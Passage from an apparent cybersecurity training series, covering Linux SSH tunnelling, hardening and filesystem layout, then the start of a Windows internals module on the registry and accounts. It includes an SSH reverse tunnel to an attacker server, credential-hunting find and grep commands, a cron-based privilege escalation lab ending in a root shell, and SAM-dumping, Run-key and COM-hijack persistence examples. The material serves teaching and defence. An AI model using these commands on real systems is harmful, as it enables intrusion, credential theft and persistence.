ssh -R [remote_port]:[local_host]:[local_port] user@ssh_server

# Example: Expose your local Burp Suite to a target you can SSH into
ssh -R 8080:localhost:8080 john@target
# Traffic to target:8080 → forwards to your localhost:8080 (Burp Suite)

# Reverse shell tunnel (post-exploitation):
# On compromised host:
ssh -R 4444:localhost:4444 attacker@your_server
# Now connections to your_server:4444 route to compromised_host:4444

Dynamic Port Forwarding — SOCKS Proxy

Turns SSH into a SOCKS5 proxy, routing all traffic through the SSH connection to the remote network.

ssh -D 1080 john@pivot_host
# Creates a SOCKS5 proxy on local port 1080

# Configure tools to use the proxy:
proxychains nmap -sV 10.10.10.0/24
proxychains curl http://internal-server/
proxychains python3 exploit.py

# Configure /etc/proxychains.conf:
# socks5 127.0.0.1 1080

This is the foundation of pivoting — reaching internal network segments through a compromised machine. Stage 4 will build on this extensively.

12.5 SSH Server Hardening

The SSH server configuration is in /etc/ssh/sshd_config. This file is the most important security configuration on any Linux server.

sudo nano /etc/ssh/sshd_config

# Critical security settings:

# Disable root login — always
PermitRootLogin no
# Justification: Even with strong auth, root login makes brute force more attractive
# and means a compromised credential = instant root

# Password authentication — disable if using keys
PasswordAuthentication no
# Only allow key-based auth — eliminates password brute force entirely

# Disable empty passwords
PermitEmptyPasswords no

# Limit authentication attempts
MaxAuthTries 3

# Limit login grace period
LoginGraceTime 30

# Restrict which users can SSH
AllowUsers john alice
AllowGroups sshusers
# Or deny specific:
DenyUsers nobody guest

# Change default port (security through obscurity, not a substitute for real security)
Port 2222
# Reduces automated scanner noise but determined attackers will find it

# Listen only on specific interface
ListenAddress 192.168.1.100
# Don't listen on all interfaces if not needed

# Disable X11 forwarding if not needed
X11Forwarding no

# Disable TCP forwarding if not needed (for untrusted users)
AllowTcpForwarding no

# Idle timeout
ClientAliveInterval 300     # Send keepalive every 300 seconds
ClientAliveCountMax 2       # Disconnect after 2 missed keepalives = 10 minutes idle

# Protocol version — SSHv2 only
Protocol 2                  # SSHv1 is broken, never use it

# Logging level
LogLevel VERBOSE            # More details than the default INFO

# Apply changes
sudo systemctl reload ssh

After hardening — verify:

# Test configuration for errors
sudo sshd -t                           # Test mode — reports config errors

# Check effective config
sudo sshd -T | grep -E "permitrootlogin|passwordauthentication|port|allowusers"

12.6 SSH Security Forensics

# Who is currently connected via SSH?
who
w
ss -tnp | grep :22

# Recent SSH connections
grep "Accepted" /var/log/auth.log | tail -20

# All SSH login attempts
grep "sshd" /var/log/auth.log | tail -50

# Authorized keys — who has key access?
cat ~/.ssh/authorized_keys
sudo cat /root/.ssh/authorized_keys

# Check for suspicious authorized keys
for user in $(cut -d: -f1 /etc/passwd); do
    home=$(eval echo "~$user")
    if [ -f "$home/.ssh/authorized_keys" ]; then
        echo "=== $user ==="
        cat "$home/.ssh/authorized_keys"
    fi
done
# Unexpected keys in root's authorized_keys = backdoor

13. Linux File System Hierarchy (FHS)

13.1 What FHS Is

The Filesystem Hierarchy Standard (FHS) defines the directory structure and content of Unix-like systems. Every Linux distribution follows it (mostly). Knowing where things live is essential for efficient security work.

/
├── bin/          → Essential user binaries (ls, cat, bash) — symlink to /usr/bin on modern systems
├── boot/         → Boot files (kernel, initrd, GRUB)
├── dev/          → Device files (disks, terminals, /dev/null, /dev/random)
├── etc/          → System-wide configuration files
├── home/         → User home directories (/home/username)
├── lib/          → Shared libraries for /bin and /sbin — symlink to /usr/lib
├── media/        → Mount points for removable media
├── mnt/          → Temporary mount points
├── opt/          → Optional/third-party software
├── proc/         → Virtual filesystem — kernel and process information
├── root/         → Root user's home directory
├── run/          → Runtime data (PIDs, sockets) — cleared on boot
├── sbin/         → System administration binaries — symlink to /usr/sbin
├── srv/          → Data for services (web, FTP)
├── sys/          → Virtual filesystem — hardware/kernel information
├── tmp/          → Temporary files — cleared on boot (world-writable!)
├── usr/          → User programs and data (the bulk of installed software)
│   ├── bin/      → User command binaries
│   ├── lib/      → Libraries
│   ├── local/    → Locally installed software (not from package manager)
│   ├── sbin/     → System admin binaries
│   └── share/    → Architecture-independent data
└── var/          → Variable data (logs, databases, mail, print spools)
    ├── log/      → Log files
    ├── www/      → Web server content (Apache/Nginx default)
    ├── lib/      → Persistent application data
    └── tmp/      → Temporary files preserved between reboots

13.2 Security-Critical Directories

# /etc — The Configuration Directory
# Every configuration file for every service lives here
ls /etc/
cat /etc/passwd             # User accounts
cat /etc/shadow             # Password hashes (root only)
cat /etc/sudoers            # Sudo configuration
cat /etc/hosts              # Local DNS resolution
cat /etc/crontab            # System cron jobs
cat /etc/ssh/sshd_config    # SSH server configuration
ls /etc/init.d/             # Legacy service scripts
ls /etc/systemd/system/     # systemd service files
ls /etc/cron.d/             # Additional cron job files
ls /etc/nginx/              # Nginx web server config
cat /etc/environment        # System-wide environment variables

# Post-exploitation: search /etc for credentials
grep -r "password\|passwd\|secret\|key" /etc/ 2>/dev/null

# /tmp and /var/tmp — The Wild West
# World-writable directories — attackers use these to stage payloads
ls -la /tmp
ls -la /var/tmp
# Both are writable by everyone
# Difference: /tmp is cleared on boot, /var/tmp persists across reboots
# Attackers prefer /var/tmp for persistence

# Find unexpected executables in /tmp (indicator of compromise)
find /tmp /var/tmp -type f -executable 2>/dev/null
find /tmp /var/tmp -name "*.sh" -o -name "*.py" -o -name "*.elf" 2>/dev/null

# /proc — Kernel and Process Intelligence
cat /proc/version            # Kernel version
cat /proc/cpuinfo            # CPU information
cat /proc/meminfo            # Memory information
cat /proc/net/tcp            # TCP connections (raw format)
cat /proc/net/arp            # ARP table (discovered hosts)
ls /proc/                    # PID directories for every running process

# Per-process intelligence:
cat /proc/1/cmdline          # Command that started PID 1 (init/systemd)
ls /proc/1/fd/               # Open file descriptors of PID 1
cat /proc/$$/environ | tr '\0' '\n'  # Your current process's environment variables

# /dev — Device Files
ls /dev/
/dev/null                    # Discard everything written here
/dev/zero                    # Source of null bytes
/dev/random                  # Cryptographically secure random (blocks)
/dev/urandom                 # Cryptographically secure random (non-blocking)
/dev/mem                     # Physical memory (restricted access)
/dev/sda, /dev/sdb           # Disk devices
/dev/pts/0, /dev/tty         # Terminal devices

# Reading /dev/random for entropy (useful in crypto contexts)
dd if=/dev/urandom bs=32 count=1 2>/dev/null | xxd   # Generate 32 random bytes

# /var/www — Web Server Root
ls /var/www/html/                   # Apache default
ls /etc/nginx/sites-enabled/        # Nginx virtual hosts
# Look for:
find /var/www -name "*.php" -exec grep -l "password\|db_pass\|mysql" {} \;
find /var/www -name "config.php" -o -name ".env" -o -name "wp-config.php"

# /home — User Data
ls /home/                           # What users have home directories?
ls -la /home/john/                  # Their files
cat /home/john/.bash_history        # What commands have they run?
ls /home/john/.ssh/                 # Do they have SSH keys?
find /home -name "*.txt" -o -name "*.pdf" -o -name "*.kdbx" 2>/dev/null
# .kdbx = KeePass database file — gold if found

13.3 Sensitive Files to Always Check

# During post-exploitation, check these immediately:

# Credential files
cat /etc/passwd
sudo cat /etc/shadow
sudo cat /etc/sudoers
find / -name ".bash_history" 2>/dev/null -exec cat {} \;
find / -name "id_rsa" 2>/dev/null          # Private SSH keys
find / -name "*.pem" 2>/dev/null           # SSL/TLS private keys
find / -name "*.key" 2>/dev/null
find / -name ".netrc" 2>/dev/null          # FTP/HTTP credentials
find / -name "*.kdbx" 2>/dev/null          # KeePass databases

# Web application credentials
find /var/www -name "wp-config.php" 2>/dev/null    # WordPress database creds
find /var/www -name ".env" 2>/dev/null             # Laravel/general env files
find /var/www -name "config.php" 2>/dev/null
find /opt -name "*.conf" 2>/dev/null

# Database files
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null
find / -name "*.sql" 2>/dev/null

# Backup files (often contain old passwords)
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" 2>/dev/null

14. Key Takeaways and Security Mindset

14.1 Linux Is Transparent by Design — Use That

Windows hides complexity. Linux exposes it. /proc gives you a window into the running kernel. strace shows every system call. Log files record everything. This transparency is a security professional's best friend — both for investigating systems and for understanding what your own tools are doing under the hood.

14.2 Permissions Are Everything

The entire Linux security model is built on file permissions, user IDs, and group IDs. Every privilege escalation technique ultimately exploits a misconfiguration in this model:

SUID binary owned by root → run as root
World-writable cron script running as root → write malicious commands
World-writable service file → modify service to execute your code
Writable /etc/passwd → add root-level user

The checklist is always the same: sudo -l, SUID files, writable cron jobs, writable service files, PATH hijacking opportunities. Memorise it.

14.3 For OT/ICS Linux Systems

Many industrial devices run embedded Linux (OpenWRT, Buildroot, Yocto). The same commands and concepts apply, but the environment is constrained — often no package manager, limited binaries, read-only filesystem in some cases.
SCADA historian servers, protocol gateways, and engineering workstations often run Ubuntu or CentOS. They are typically unpatched and running outdated kernels with known privilege escalation vulnerabilities.
SSH is commonly used for administration of Linux-based OT devices. Default credentials and weak SSH configurations are endemic in industrial environments.
Log review is rarely done in OT environments — meaning attackers can operate undetected for extended periods. Your ability to set up logging and detect anomalies is directly applicable.

14.4 The Command Line Is Precision

A GUI hides what is actually happening. Every click translates to system calls and file operations that you cannot see. The command line shows you exactly what is happening, gives you complete control, and scales to automation through scripting. Embrace it — discomfort with the terminal is a ceiling on your effectiveness.

15. Hands-On Exercises

Exercise 1: File System Reconnaissance (45 minutes)

# On a fresh Ubuntu VM, map the security-relevant landscape

# 1. Find all SUID binaries and check each against GTFOBins
find / -perm -4000 -type f 2>/dev/null | tee /tmp/suid_binaries.txt
cat /tmp/suid_binaries.txt

# 2. Find world-writable directories
find / -type d -perm -0002 2>/dev/null | grep -v proc | grep -v sys

# 3. Check sudo configuration
sudo -l

# 4. Examine /etc/crontab and cron directories
cat /etc/crontab
ls -la /etc/cron.*

# 5. Check running services and their users
ps aux | awk '{print $1}' | sort | uniq -c | sort -rn
# What users are running services? Are any unexpected?

Exercise 2: Log Analysis — Build a Story (1 hour)

# Set up SSH password authentication temporarily for this exercise
# Then generate activity:

# 1. Make several failed SSH login attempts from another terminal
ssh wronguser@localhost
ssh root@localhost  # Should fail if PermitRootLogin no

# 2. Make a successful login

# 3. Run some sudo commands
sudo ls /etc/shadow
sudo cat /etc/sudoers

# 4. Now analyse the logs:
grep "sshd" /var/log/auth.log | tail -30
grep "sudo" /var/log/auth.log | tail -20

# 5. Write a one-liner to find the top 5 IPs with failed SSH attempts
grep "Failed password" /var/log/auth.log |
    grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" |
    sort | uniq -c | sort -rn | head -5

Exercise 3: Permission Misconfiguration — Exploit It (30 minutes)

# Set up a vulnerable scenario on your lab VM (as root):
echo '#!/bin/bash' > /usr/local/bin/vulnerable_script.sh
echo 'echo "Running maintenance..."' >> /usr/local/bin/vulnerable_script.sh
chmod 777 /usr/local/bin/vulnerable_script.sh  # World-writable!

# Add it to crontab running as root
echo "* * * * * root /usr/local/bin/vulnerable_script.sh" >> /etc/crontab

# Now switch to a non-root user and exploit it:
su - normaluser

# Check for the writable script
ls -la /usr/local/bin/vulnerable_script.sh

# Modify it
echo '#!/bin/bash' > /usr/local/bin/vulnerable_script.sh
echo 'chmod +s /bin/bash' >> /usr/local/bin/vulnerable_script.sh

# Wait up to 60 seconds
sleep 60

# Check if bash is now SUID
ls -la /bin/bash
# -rwsr-sr-x root root  /bin/bash  ← SUID set by our script running as root

# Get root shell
bash -p
whoami
# root

# Clean up after the exercise
# (as root): chmod -s /bin/bash && sed -i '/vulnerable_script/d' /etc/crontab

Exercise 4: SSH Tunnelling (45 minutes)

# Lab setup: Two VMs — Attacker (Kali) and Target (Ubuntu Server)
# Target has a web application running on localhost:3000 (not exposed to network)

# On Target: start a simple web service
python3 -m http.server 3000 --bind 127.0.0.1

# On Attacker: create local port forward through SSH
ssh -L 9000:localhost:3000 user@target_ip

# Now on Attacker — access the "internal" service:
curl http://localhost:9000
# You are accessing the target's localhost:3000 as if you were on the target machine

# Exercise 2: Dynamic SOCKS proxy
ssh -D 9050 user@target_ip
# Configure proxychains to use localhost:9050 SOCKS5
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf

# Route traffic through the tunnel
proxychains curl http://10.10.10.1  # Access internal network through target

Exercise 5: Write a Bash Security Audit Script (1 hour)

Write a script that:

Identifies all users with UID 0
Finds all SUID binaries
Checks if /etc/passwd is world-writable
Lists all cron jobs for all users
Checks for writable files in service directories
Outputs results in a structured format with severity labels

Start from scratch, refer to this module for the commands, and make it produce clean output. The process of building it teaches you more than reading commands ever will.

16. Further Reading and Resources

Essential Reading

"The Linux Command Line" — William Shotts (available free at linuxcommand.org). The definitive beginner reference.
"Linux Basics for Hackers" — OccupyTheWeb. Security-oriented Linux introduction, practical and direct.
"The Art of Unix Programming" — Eric Raymond (available free online). Understand the philosophy that makes Linux work the way it does.

Reference Sites

GTFOBins (gtfobins.github.io) — SUID, sudo, and capability exploitation. Bookmark it permanently.
ExplainShell (explainshell.com) — Paste any command, get visual explanation of every component
Linux man pages online (man7.org/linux/man-pages) — Official documentation

Privilege Escalation References

Linux Privilege Escalation Guide — github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
linpeas.sh — github.com/carlospolop/PEASS-ng — automated Linux privesc checker
linux-exploit-suggester — github.com/mzet-/linux-exploit-suggester

Practice Platforms

OverTheWire: Bandit (overthewire.org/wargames/bandit) — Start here. 34 levels of Linux fundamentals through progressive challenges. Free.
OverTheWire: Narnia — Move here after Bandit. Basic binary exploitation on Linux.
TryHackMe — "Linux Fundamentals" series (3 rooms, free), "Linux PrivEsc" room
HackTheBox — Linux-based machines at every difficulty level
VulnHub — Download vulnerable Linux VMs for offline practice

Tools to Install

# Essential additions to your Kali/Ubuntu toolkit
sudo apt install -y \
    htop \           # Better process monitor
    tree \           # Visual directory tree
    net-tools \      # Legacy network tools (netstat, ifconfig)
    dnsutils \       # dig, nslookup
    curl wget \      # HTTP tools
    tmux \           # Terminal multiplexer — split screens, sessions
    vim nano \       # Text editors
    git \            # Version control
    python3-pip \    # Python package manager
    jq               # JSON processor

# Security-specific
sudo apt install -y \
    seclists \       # Wordlists (hundreds of MB)
    pspy            # Monitor processes without root — amazing for privilege escalation

Module Summary

Topic	Core Security Application
Distributions	Kali = attack platform, know what runs in target environments
Terminal	Command composition, redirection, pipes — the efficiency foundation
Core Commands	grep + find = reconnaissance and evidence gathering
File Permissions	SUID/SGID/world-writable = privilege escalation checklist
User Management	/etc/passwd, /etc/shadow, sudo -l = post-exploitation enumeration
Package Management	Know your environment, install tools, understand trusted sources
Service Management	Service file permissions = privesc surface; service logs = evidence
Cron Jobs	Most common Linux persistence and privilege escalation vector
Bash Scripting	Automation, custom tools, post-exploitation scripts
Log System	auth.log = authentication forensics; log manipulation = attacker tradecraft
SSH	Tunnelling = pivoting foundation; hardening = server defence
FHS	Know where everything lives — /tmp for staging, /etc for config, /proc for intelligence

Next Module: Stage 0.5 — Programming Fundamentals

Previous Module: Stage 0.3 — Windows Fundamentals

Series Index: Full Roadmap Index

Stage 0.3 — Windows Fundamentals

Rençber AKMAN — Thu, 28 May 2026 10:33:13 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 0 — Computer Science Foundations

Module: 0.3 — Windows Fundamentals

Level: Beginner → Intermediate

Prerequisites: Stage 0.2 — Operating System Fundamentals

Next Module: 0.4 — Linux Fundamentals

Why Windows Mastery Is Non-Negotiable
Windows Architecture
Registry Structure
User and Group Management
Windows Service Architecture
Task Manager, Event Viewer, msconfig
Windows Defender
UAC — User Account Control
Windows Firewall
PowerShell Fundamentals
CMD — Core Commands
Task Scheduler
Windows Update Mechanism
Key Takeaways and Security Mindset
Hands-On Exercises
Further Reading and Resources

1. Why Windows Mastery Is Non-Negotiable

Windows runs on approximately 72% of all desktop computers worldwide. More critically for your career, the overwhelming majority of enterprise environments — corporations, hospitals, government agencies, banks, industrial facilities — run Windows-based infrastructure. Active Directory, which dominates enterprise identity management globally, is a Windows technology. Most SCADA HMI software (Wonderware, FactoryTalk, WinCC) runs on Windows. Most endpoint detection products are built primarily around Windows behaviour.

This means:

As a penetration tester, most of your targets will be Windows systems. Post-exploitation on Windows — lateral movement, credential harvesting, persistence — is a distinct skillset that requires deep OS knowledge.
As a SOC analyst, most of your alerts will be about Windows events. Understanding what normal Windows behaviour looks like is the only way to recognise abnormal behaviour.
As a blue teamer, hardening Windows, configuring Defender, writing detection rules for Event Log events — these are daily tasks.
For OT/ICS work, most HMI workstations and SCADA servers run Windows. Legacy versions (Windows XP, Windows 7) are still extremely common in industrial environments and have vastly different security profiles than modern Windows.

The security mindset for this module: Windows is not just a target — it is an ecosystem. Attackers live inside its own mechanisms. They use legitimate Windows tools to attack Windows systems. Your job is to know those mechanisms better than the attacker does.

2. Windows Architecture

2.1 The Big Picture

Windows NT (the architecture underlying all modern Windows versions from NT 3.1 through Windows 11 and Windows Server 2022) is a hybrid kernel architecture. We covered the theory in Stage 0.2 — here we map it to concrete Windows components.

┌──────────────────────────────────────────────────────────────┐
│                     USER MODE                                │
│                                                              │
│  ┌────────────────┐  ┌──────────────┐  ┌─────────────────┐  │
│  │  Win32 Apps    │  │ .NET Apps    │  │  UWP / Store    │  │
│  │  (notepad.exe) │  │  (C# code)   │  │  Apps           │  │
│  └───────┬────────┘  └──────┬───────┘  └────────┬────────┘  │
│          │                  │                   │            │
│  ┌───────▼──────────────────▼───────────────────▼────────┐  │
│  │              Subsystem DLLs                            │  │
│  │   kernel32.dll  advapi32.dll  user32.dll  ntdll.dll    │  │
│  └───────────────────────────┬────────────────────────────┘  │
│                              │  System Call Interface         │
├──────────────────────────────┼──────────────────────────────-┤
│                     KERNEL MODE                              │
│                              │                               │
│  ┌───────────────────────────▼────────────────────────────┐  │
│  │              Executive (ntoskrnl.exe)                  │  │
│  │  ┌───────────┐ ┌──────────┐ ┌──────────┐ ┌─────────┐  │  │
│  │  │ Process & │ │ Memory   │ │ I/O      │ │Security │  │  │
│  │  │ Thread Mgr│ │ Manager  │ │ Manager  │ │Reference│  │  │
│  │  ├───────────┤ ├──────────┤ ├──────────┤ │Monitor  │  │  │
│  │  │ Object    │ │ Cache    │ │ Plug&Play│ └─────────┘  │  │
│  │  │ Manager   │ │ Manager  │ │ Manager  │              │  │
│  │  └───────────┘ └──────────┘ └──────────┘              │  │
│  ├────────────────────────────────────────────────────────┤  │
│  │              Kernel (Dispatcher, Interrupts)            │  │
│  ├────────────────────────────────────────────────────────┤  │
│  │              HAL — Hardware Abstraction Layer           │  │
│  └────────────────────────────────────────────────────────┘  │
│                                                              │
│  ┌──────────────────────────────────────────────────────┐    │
│  │         Kernel-Mode Drivers (win32k.sys, etc.)        │    │
│  └──────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────┘
│                     HARDWARE                                 │
└──────────────────────────────────────────────────────────────┘

2.2 Key Architectural Components

ntoskrnl.exe — The Windows Kernel

ntoskrnl.exe (NT OS Kernel) is the core kernel binary. It is always loaded into kernel space and never unloaded while the system is running. It implements:

Executive — high-level OS services (process management, memory management, I/O)
Kernel — low-level primitives (thread scheduling, interrupt handling, synchronisation)
HAL interface — communicates with the Hardware Abstraction Layer

# Verify ntoskrnl.exe is running
Get-Process | Where-Object {$_.Name -eq "System"}
# The "System" process (PID 4) is the kernel process

ntdll.dll — The Bridge Between Worlds

ntdll.dll is the lowest-level user-mode DLL. Every process loads it. It contains:

The stubs for all Windows system calls (the actual syscall instructions)
The Windows loader
Core runtime functions used by all other DLLs

Security Significance: Every modern EDR product hooks functions inside ntdll.dll to monitor behaviour. When your code calls CreateFile(), it goes through kernel32.dll → ntdll.dll → kernel. The EDR's hook in ntdll.dll intercepts this call before it reaches the kernel. This is precisely why direct syscall techniques (covered in Stage 0.2) that bypass ntdll.dll entirely are so popular in offensive tooling.

csrss.exe — Client-Server Runtime Process

The Client/Server Runtime Subsystem. Handles Win32 console windows and process/thread creation notifications. Critical system process — terminating it causes a Blue Screen of Death. Malware that names itself csrss.exe or cssrs.exe is attempting to blend in with this legitimate process name.

# There should be exactly one or two csrss.exe instances
# (one per active session — Session 0 for services, Session 1+ for users)
Get-Process csrss | Select-Object Id, SessionId, Path
# CRITICAL: csrss.exe must always run from C:\Windows\System32\
# Any csrss.exe running from another path is malware

lsass.exe — The Credential Store

LSASS (Local Security Authority Subsystem Service) is one of the most targeted processes on any Windows system. It:

Handles all authentication (local, domain, network)
Stores credentials in memory (NTLM hashes, Kerberos tickets, plaintext in older configs)
Enforces security policy

Why attackers love lsass.exe:
Tools like Mimikatz dump credential material directly from lsass.exe's memory. Credential access is Step 5 in almost every real-world Windows intrusion. Microsoft has progressively hardened lsass — Protected Process Light (PPL), Credential Guard, LSASS memory protection — but the target remains the same.

# lsass.exe must always run from System32, owned by SYSTEM, one instance
Get-Process lsass | Select-Object Id, Path, StartTime
# Any lsass.exe not in System32 is an immediate incident

winlogon.exe — Session Management

Handles the secure desktop (Ctrl+Alt+Delete), user logon/logoff, and loads the user profile. It loads the Logon UI and calls LSASS to authenticate credentials.

Security note: The Sticky Keys bypass is a classic persistence technique that replaces sethc.exe (Sticky Keys) or utilman.exe (Ease of Access) with cmd.exe. Since these are launched by winlogon.exe before authentication, the result is a SYSTEM command prompt on the login screen — no credentials required.

2.3 The Windows Session Model

Windows separates kernel activities from user sessions:

Session 0 — Services and System Processes
    svchost.exe (services)
    lsass.exe
    csrss.exe
    wininit.exe

Session 1 — First Interactive User
    explorer.exe
    your applications
    csrss.exe (own instance)

Session 2 — Second Interactive User (RDP, etc.)
    explorer.exe
    ...

Session 0 isolation (introduced in Windows Vista) prevents user applications from interacting with service windows. Before Vista, attackers could send window messages to SYSTEM-privilege service windows to execute arbitrary code — "shatter attacks." Session isolation eliminated this attack class.

2.4 The WOW64 Subsystem

On 64-bit Windows, 32-bit applications run inside the WOW64 (Windows-on-Windows 64-bit) subsystem. This is important for security because:

32-bit processes use a different system call path than 64-bit processes.
Security software that only monitors 64-bit system calls can be bypassed by malware running as a 32-bit process using Heaven's Gate — a technique that switches from 32-bit to 64-bit mode to issue native 64-bit system calls directly, bypassing 32-bit hooks.
Some protections (CFG, CET) behave differently for 32-bit processes.

3. Registry Structure

3.1 What Is the Windows Registry

The Windows Registry is a hierarchical database that stores configuration information for the operating system, hardware, installed software, and user preferences. It is the central nervous system of Windows configuration.

Everything from your desktop wallpaper to auto-start programs to USB device history to recently opened files is stored in the registry. For a security professional, the registry is both an attack surface and an evidence source of extraordinary richness.

3.2 Registry Structure

The registry is organised into a tree of keys and values, similar to a file system:

Registry Root (Hives)
├── HKEY_LOCAL_MACHINE (HKLM)      — System-wide settings
│   ├── SOFTWARE                   — Installed software config
│   ├── SYSTEM                     — Hardware and driver config
│   │   └── CurrentControlSet
│   │       ├── Services           — Service configuration
│   │       └── Control
│   ├── SECURITY                   — Security policy (restricted)
│   └── SAM                        — Local account database (restricted)
│
├── HKEY_CURRENT_USER (HKCU)       — Current user's settings
│   ├── Software                   — Per-user software settings
│   ├── Environment                — User environment variables
│   └── ...
│
├── HKEY_USERS (HKU)               — All users' profiles
│   ├── .DEFAULT                   — Default profile
│   ├── S-1-5-18                   — SYSTEM account
│   ├── S-1-5-19                   — LOCAL SERVICE
│   ├── S-1-5-20                   — NETWORK SERVICE
│   └── S-1-5-21-...-1001          — User SID → their HKCU
│
├── HKEY_CLASSES_ROOT (HKCR)       — File associations, COM objects
└── HKEY_CURRENT_CONFIG (HKCC)     — Current hardware profile

3.3 Registry Value Types

Type	Name	Description	Example
`REG_SZ`	String	Plain text	`C:\Windows\System32\cmd.exe`
`REG_EXPAND_SZ`	Expandable String	String with env vars	`%SystemRoot%\System32\cmd.exe`
`REG_DWORD`	32-bit Integer	Number	`1` (enabled/disabled flags)
`REG_QWORD`	64-bit Integer	Large number	Timestamps
`REG_BINARY`	Binary	Raw binary data	Hardware settings
`REG_MULTI_SZ`	Multi-String	List of strings	Service dependencies

3.4 Critical Registry Locations for Security

These are the locations every security professional must know. Memorise them.

Persistence — AutoRun Keys

The most important persistence locations. Malware, legitimate software, and scheduled tasks all use these to survive reboots.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# 64-bit OS, 32-bit app compatibility keys:
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

# Check all autorun locations
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Better: use Autoruns from Sysinternals — shows EVERYTHING
# https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns

Security Note: Autoruns from Sysinternals is arguably the most important single tool for Windows malware analysis and persistence hunting. It shows every autostart location in the registry, file system, and scheduled tasks — and can compare the current state against VirusTotal. Run it on any suspected compromised system immediately.

Service Configuration

HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
    └── ImagePath    → Path to the service executable
    └── Start        → 0=Boot, 1=System, 2=Auto, 3=Manual, 4=Disabled
    └── Type         → Service type
    └── ObjectName   → Account the service runs as

Privilege Escalation: If the ImagePath value of a service running as SYSTEM points to a binary that a low-privilege user can modify or replace, the attacker replaces the binary with a malicious one. The next time the service starts, their code runs as SYSTEM. This is one of the most common Windows privilege escalation paths.

SAM — The Local Password Database

HKLM\SAM\SAM\Domains\Account\Users

The SAM (Security Account Manager) hive stores local user account information including NTLM password hashes. The SAM hive is locked and inaccessible while Windows is running — even to SYSTEM. However, attackers use several techniques to access it:

Volume Shadow Copy: vssadmin create shadow /for=C: then copy the shadow's SAM file
reg save: reg save HKLM\SAM sam.hive (requires SYSTEM privileges)
Mimikatz: lsadump::sam — reads from the locked hive using the kernel driver

SYSTEM Hive — Boot Key

HKLM\SYSTEM\CurrentControlSet\Control\LSA\JD
HKLM\SYSTEM\CurrentControlSet\Control\LSA\Skew1
HKLM\SYSTEM\CurrentControlSet\Control\LSA\GBG
HKLM\SYSTEM\CurrentControlSet\Control\LSA\Data

These four subkeys together form the SYSKEY (boot key) used to encrypt the SAM database. To decrypt SAM hashes, both the SAM hive AND the SYSTEM hive are required. This is why credential extraction tools always dump both.

UserAssist — Execution History

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist

Tracks programs executed by the user, encoded in ROT-13. Forensically valuable — shows what programs the user ran and when, even if those programs have since been deleted.

RecentDocs and TypedPaths

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths

Recently accessed files and manually typed Explorer paths. Forensic gold for understanding what a user accessed.

ShimCache (AppCompatCache)

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

The Application Compatibility Cache records every executable that ran on the system (file path, size, last modified time). Critically, it records execution history even for files that have since been deleted. This is one of the most important forensic artefacts in Windows investigations — it can prove a malicious binary ran on the system even after the file was cleaned up.

AmCache

C:\Windows\AppCompat\Programs\Amcache.hve  (separate hive file, not inline)

Similar to ShimCache but stores SHA1 hashes of executed files. Even if the malware is gone, its hash remains and can be submitted to VirusTotal for attribution.

NTUSER.DAT — The User Hive

Each user's HKCU is backed by a file:

C:\Users\<username>\NTUSER.DAT

This is a complete registry hive file. Forensic tools like Registry Explorer (Eric Zimmermann) and regripper parse offline hive files — essential for dead-box analysis when you cannot boot the system.

3.5 Registry as an Attack Surface

Fileless Malware and the Registry:
Malware increasingly stores its payload directly in the registry rather than on disk, specifically to evade file-based antivirus scanning:

# Attacker stores Base64-encoded payload in registry
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
    -Name "Updater" `
    -Value "powershell.exe -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64_PAYLOAD>"

The payload never touches disk as a file — it lives in the registry and is executed by PowerShell. Many legacy antivirus products never detect this because they only scan files.

Registry Hive Injection:
Advanced attackers can inject malicious DLLs through COM object hijacking:

# If this key exists for a COM object:
HKCU\SOFTWARE\Classes\CLSID\{GUID}\InprocServer32 = C:\malware.dll

# And a legitimate application loads this COM object,
# the malicious DLL is loaded into that application's process
# WITHOUT creating any autorun key or scheduled task

4. User and Group Management

4.1 Windows Accounts

Windows has two fundamentally different account types:

Local Accounts — Exist only on the specific machine. Stored in the SAM database.

Domain Accounts — Exist in Active Directory, can authenticate to any machine in the domain. Covered in depth in Stage 7.

Built-in Accounts You Must Know:

Account	SID	Description	Security Significance
Administrator	S-1-5-21-...-500	Built-in local admin	RID 500 — cannot be deleted, can be renamed
Guest	S-1-5-21-...-501	Low privilege guest	Disabled by default, should stay disabled
SYSTEM	S-1-5-18	OS itself	Highest privilege on local machine
LOCAL SERVICE	S-1-5-19	Limited service account	Minimal privileges, no network credentials
NETWORK SERVICE	S-1-5-20	Network service account	Like LOCAL SERVICE but uses computer credentials on network

The RID 500 Administrator:
The built-in Administrator account always has RID (Relative Identifier) 500. Even if renamed to "notadmin" or "helpdesk," its SID ends in -500. Security tools identify it by SID, not name. This account is disabled by default on modern Windows, but enabling it is a common attacker persistence technique because it cannot be deleted.

4.2 Security Identifiers (SIDs)

Every user, group, and computer in Windows has a unique SID (Security Identifier). SIDs are the actual identity — names are just human-readable labels.

S-1-5-21-3623811015-3361044348-30300820-1013
│ │ │    └────────────────────────────────── RID (Relative ID - 1013 = user)
│ │ └─────────────────────────────────────── Domain/Machine identifier
│ └───────────────────────────────────────── NT Authority (5)
└─────────────────────────────────────────── SID revision (1)

Well-known SIDs:

